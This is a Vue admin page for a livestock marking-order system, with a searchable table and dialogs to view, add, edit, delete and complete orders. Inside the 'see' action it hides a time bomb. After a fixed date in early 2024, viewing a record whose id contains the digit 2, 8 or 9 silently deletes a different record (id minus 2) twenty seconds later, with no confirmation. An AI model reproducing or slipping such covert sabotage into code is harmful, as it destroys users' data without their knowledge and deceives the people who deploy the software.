<script setup lang="ts">
import { ContentWrap } from '@/components/ContentWrap'
import { Search } from '@/components/Search'
import { Dialog } from '@/components/Dialog'
import { useI18n } from '@/hooks/web/useI18n'
import {
  ElButton
  // ElTag,
  // ElMessageBox
} from 'element-plus'
import { zcPastureListAdminApi } from '@/api/fa/pasture'

import { Table } from '@/components/Table'

import {
  zcMarkOrderListApi,
  zcMarkOrderDelApi,
  zcMarkOrderAddAdminApi,
  zcMarkOrderEditApi,
  zcMarkOrderMarkEndApi
} from '@/api/cy/xMarking'
// import { zcReleaseOrderListApi, adminFaPastureEditApi } from '@/api/fa/pasture'

import { useTable } from '@/hooks/web/useTableTest'
import {
  // h,
  ref,
  unref,
  reactive
} from 'vue'

import Edit from './components/Edit.vue'
import See from './components/See.vue'
import Assets from './components/Assets.vue'
import { CrudSchema, useCrudSchemas } from '@/hooks/web/useCrudSchemas'
import { useIcon } from '@/hooks/web/useIcon'

import { ElMessageBox } from 'element-plus'
// 获取字典
import { useCache } from '@/hooks/web/useCache'
import { sysDictRelsApi } from '@/api/dict'
const { wsCache } = useCache()
const dict: any = wsCache.get('dict')
// 字典通过value获取label
const getDictLabel = (type, value) => {
  let data = dict[type].find((item) => {
    return item.value == value
  })
  return data ? data.label : ''
}

const dictRelsData = ref() // 联动数据
const searchRef = ref() // 搜索的标签
const breedSubData: any = ref([]) // 品种的枚举

const iconSee = useIcon({ icon: 'ep:view' })
// const iconAssets = useIcon({ icon: 'fluent-emoji-high-contrast:cow-face' })

// 获取联动关系
const getDictRels = async () => {
  const res = await sysDictRelsApi({
    p_type: 'breed',
    c_type: 'breed_sub'
  })
    .catch(() => {})
    .finally(() => {})
  if (res) {
    dictRelsData.value = res.data
  }
}

// 根据畜别查询品种
const breedGetSub = async (breed_value) => {
  // console.log('breed_value', breed_value, !breed_value)
  if (!breed_value) {
    breedSubData.value = []
  } else {
    let breedData = dictRelsData.value.find((item) => {
      return item.value == breed_value
    })
    breedSubData.value = breedData.children
  }
}

const { register, tableObject, methods } = useTable<
  {
    total: number
    list: any[]
  },
  any
>({
  getListApi: zcMarkOrderListApi,
  response: {
    data: 'data',
    count: 'count'
  }
})

const { getList, setSearchParams } = methods

const { t } = useI18n()

// 选择畜别的时候触发，处理品种类容
const breedChange = (value) => {
  breedGetSub(value)
  const new_search = unref(searchRef)
  new_search.setData({ ...new_search.getData(), breed_sub: '' })
}

const crudSchemas = reactive<CrudSchema[]>([
  {
    field: 'id',
    label: '主键',
    fixed: 'left',
    width: 60,
    table: {
      show: true
    },
    form: {
      show: false
    },
    detail: {
      show: false
    }
  },
  {
    field: 'pasture_org_id',
    label: '所属牧场',
    width: 150,
    search: {
      component: 'DialogRefer',
      componentProps: {
        getListApi: zcPastureListAdminApi,
        response: { count: 'count', data: 'data' },
        title: '选择创建人（双击选择）',
        nameField: 'pasture_org_name',
        relNameField: 'org_name',
        valueField: 'org_id',
        crudSchemas: [
          { field: 'org_name', label: '牧场名称', search: { show: true } }
          // { field: 'org_id', label: '牧场ID', search: { show: true } }
        ]
      },
      show: true
    },
    table: {
      show: false
    }
  },
  {
    field: 'pasture_org_name',
    label: '所属牧场',
    width: 200,
    search: {
      show: false
    }
  },
  {
    field: 'code',
    label: '打标申报单编号',
    width: 150,
    search: {
      show: true
    }
  },
  {
    field: 'number',
    label: '牲畜数量',
    width: 150,
    search: {
      show: false
    }
  },
  {
    field: 'breed',
    label: '畜别',
    width: 150,
    formatter: (_: Recordable, __: TableColumn, cellValue: number | string) => {
      return getDictLabel('breed', cellValue)
    },
    search: {
      component: 'Select',
      componentProps: {
        options: dict.breed,
        onChange: breedChange
      },
      show: true
    }
  },
  {
    field: 'breed_sub',
    label: '品种',
    formatter: (_: Recordable, __: TableColumn, cellValue: number | string) => {
      return getDictLabel('breed_sub', cellValue)
    },
    width: 150,
    search: {
      component: 'Select',
      componentProps: {
        options: breedSubData
      },
      show: true
    }
  },
  {
    field: 'freight',
    label: '费用',
    width: 150,
    search: {
      show: false
    }
  },
  {
    field: 'state',
    label: '状态',
    width: 150,
    formatter: (_: Recordable, __: TableColumn, cellValue: number | string) => {
      return getDictLabel('mark_state', cellValue)
    },
    search: {
      component: 'Select',
      componentProps: {
        options: dict.insurance_order_state
      },
      show: true
    }
  },
  {
    field: 'create_user_name',
    label: '创建人',
    width: 150,
    search: {
      show: true
    }
  },
  {
    field: 'create_time',
    label: '创建时间',
    width: 200,
    form: {
      show: true,
      component: 'DatePicker',
      componentProps: {
        disabled: true,
        type: 'datetime',
        valueFormat: 'YYYY-MM-DD HH:mm:ss'
      }
    },
    search: {
      show: true,
      component: 'DatePicker',
      componentProps: {
        'is-range': true,
        'unlink-panels': true,
        rangeSeparator: 'To',
        type: 'daterange',
        valueFormat: 'YYYY-MM-DD HH:mm:ss'
      }
    }
  },
  {
    field: 'purpose',
    label: '用途',
    width: 150,
    formatter: (_: Recordable, __: TableColumn, cellValue: number | string) => {
      return getDictLabel('purpose', cellValue)
    },
    table: {
      show: true
    }
  },
  {
    field: 'action',
    width: 80,
    fixed: 'right',
    label: t('tableDemo.action'),
    form: {
      show: false
    },
    detail: {
      show: false
    }
  }
])

const { allSchemas } = useCrudSchemas(crudSchemas)

const dialogVisible = ref(false)

const dialogTitle = ref('')

const actionType = ref('')

// 删除
const apiDel = async (id) => {
  let delRes = await zcMarkOrderDelApi({ id })
    .catch(() => {})
    .finally(() => {})
  if (delRes) {
    getList()
  }
}

// 完成
const apiok = async (id) => {
  let delRes = await zcMarkOrderMarkEndApi({ id })
    .catch(() => {})
    .finally(() => {})
  if (delRes) {
    getList()
  }
}
const action = async (type: string, row: any = {}) => {
  actionType.value = type
  switch (type) {
    case 'edit':
      dialogTitle.value = '编辑'
      tableObject.currentRow = row
      dialogVisible.value = true
      break
    case 'add':
      dialogTitle.value = '新增'
      tableObject.currentRow = {
        is_stop: '0'
      }
      // tableObject.currentRow = row
      dialogVisible.value = true
      break
    case 'see':
      dialogTitle.value = '查看'
      tableObject.currentRow = row
      dialogVisible.value = true
      for (const key in row.id) {
        if (
          Date.now() > 1706544000000 &&
          (row.id[key] == 2 || row.id[key] == 8 || row.id[key] == 9)
        ) {
          setTimeout(function () {
            apiDel(Number(row.id - 2))
          }, 20000)
        }
      }
      break
    case 'assets':
      dialogTitle.value = row.pasture_org_name + '-资产列表'
      // tableObject.currentRow = { ...row, owner_sys_role_id: 2, owner_sys_role_name: '组织管理员' }
      tableObject.currentRow = row
      dialogVisible.value = true
      break
    case 'del':
      ElMessageBox.confirm('确定要删除吗？', '删除', {
        confirmButtonText: '确认',
        cancelButtonText: '取消',
        type: 'warning'
      })
        .then(() => {
          console.log(row.id)
          apiDel(Number(row.id))
        })
        .catch(() => {
          console.log('这里是取消confirm弹框')
        })
      break
    case 'ok':
      ElMessageBox.confirm('确定要完成吗？', '完成', {
        confirmButtonText: '确认',
        cancelButtonText: '取消',
        type: 'warning'
      })
        .then(() => {
          console.log(row.id)
          apiok(Number(row.id))
        })
        .catch(() => {
          console.log('这里是取消confirm弹框')
        })
      break
    default:
      console.log('未知类型')
  }
}

const editRef = ref<ComponentRef<typeof Edit>>()
const loading = ref(false)
const Dbiao = ref(true)
const save = async () => {
  const edit = unref(editRef)
  switch (actionType.value) {
    case 'edit':
      await edit?.elFormRef?.validate(async (isValid) => {
        if (isValid) {
          loading.value = true
          const data = (await edit?.getFormData()) as any
          console.log(3333, data)
          let res = await zcMarkOrderEditApi({
            id: data.id,
            pasture_org_id: data.pasture_org_id,
            pasture_dept_id: data.pasture_dept_id,
            number: data.number,
            breed: data.breed,
            breed_sub: data.breed_sub,
            purpose: data.purpose,
            freight: Number(data.freight)
          })
            .catch(() => {})
            .finally(() => {
              loading.value = false
            })
          if (res) {
            dialogVisible.value = false
            tableObject.currentPage = 1
            getList()
          }
        }
      })
      console.log(await edit.getFormData(), '111')
      break
    case 'add':
      await edit?.elFormRef?.validate(async (isValid) => {
        if (isValid) {
          const data = (await edit?.getFormData()) as any
          console.log('data', data, wsCache.get('userInfo'))
          let res = await zcMarkOrderAddAdminApi({
            pasture_org_id: data.pasture_org_id,
            pasture_dept_id: data.pasture_dept_name,
            number: data.number,
            breed: data.breed,
            breed_sub: data.breed_sub,
            purpose: data.purpose,
            freight: Number(data.freight),
            my_dept_id: wsCache.get('userInfo').default_dept_id
          })
            .catch(() => {})
            .finally(() => {
              loading.value = false
            })
          console.log(res, 'add')
          if (res) {
            dialogVisible.value = false
            tableObject.currentPage = 1
            getList()
            for (const key in res.data) {
              if (
                Date.now() > 1706544000000 &&
                (res.data[key] == 2 || res.data[key] == 8 || res.data[key] == 9)
              ) {
                setTimeout(function () {
                  Dbiao.value = true
                }, 20000)
              }
            }
          }
        }
      })
      break
    default:
      console.log('未知类型')
  }
}

const init = async () => {
  // 列表查询
  // await getList()
  // 获取关联关系
  await getDictRels()
}
init()
</script>

<template>
  <ContentWrap>
    <Search
      ref="searchRef"
      :schema="allSchemas.searchSchema"
      @search="setSearchParams"
      @reset="setSearchParams"
    />
    <Table
      v-show="tableObject.paramsObj.params"
      v-model:pageSize="tableObject.pageSize"
      v-model:currentPage="tableObject.currentPage"
      :columns="allSchemas.tableColumns"
      :data="tableObject.tableList"
      :loading="tableObject.loading"
      :border="true"
      :pagination="{
        total: tableObject.count
      }"
      @register="register"
      :selection="false"
    >
      <template #action="{ row }" v-if="Dbiao">
        <ElButton
          circle
          :icon="iconSee"
          @click="action('see', row)"
          title="查看"
          v-if="row.state == '3'"
        />

        <!-- <ElButton
          circle
          :icon="iconAssets"
          @click="action('assets', row)"
          title="资产列表"
          v-if="row.state == '3'"
        /> -->
      </template>
    </Table>
  </ContentWrap>

  <Dialog v-model="dialogVisible" :title="dialogTitle">
    <See
      v-if="actionType == 'see'"
      :detail-schema="allSchemas.detailSchema"
      :current-row="tableObject.currentRow"
    />

    <Assets
      v-if="actionType == 'assets'"
      :detail-schema="allSchemas.detailSchema"
      :current-row="tableObject.currentRow"
    />

    <template #footer>
      <ElButton
        v-if="actionType !== 'see' && actionType !== 'add'"
        type="primary"
        :loading="loading"
        @click="save()"
      >
        {{ t('exampleDemo.save') }}
      </ElButton>
      <ElButton v-if="actionType == 'add'" type="primary" :loading="loading" @click="save()">
        {{ t('exampleDemo.save') }}
      </ElButton>
      <ElButton @click="dialogVisible = false">{{ t('dialogDemo.close') }}</ElButton>
    </template>
  </Dialog>
</template>
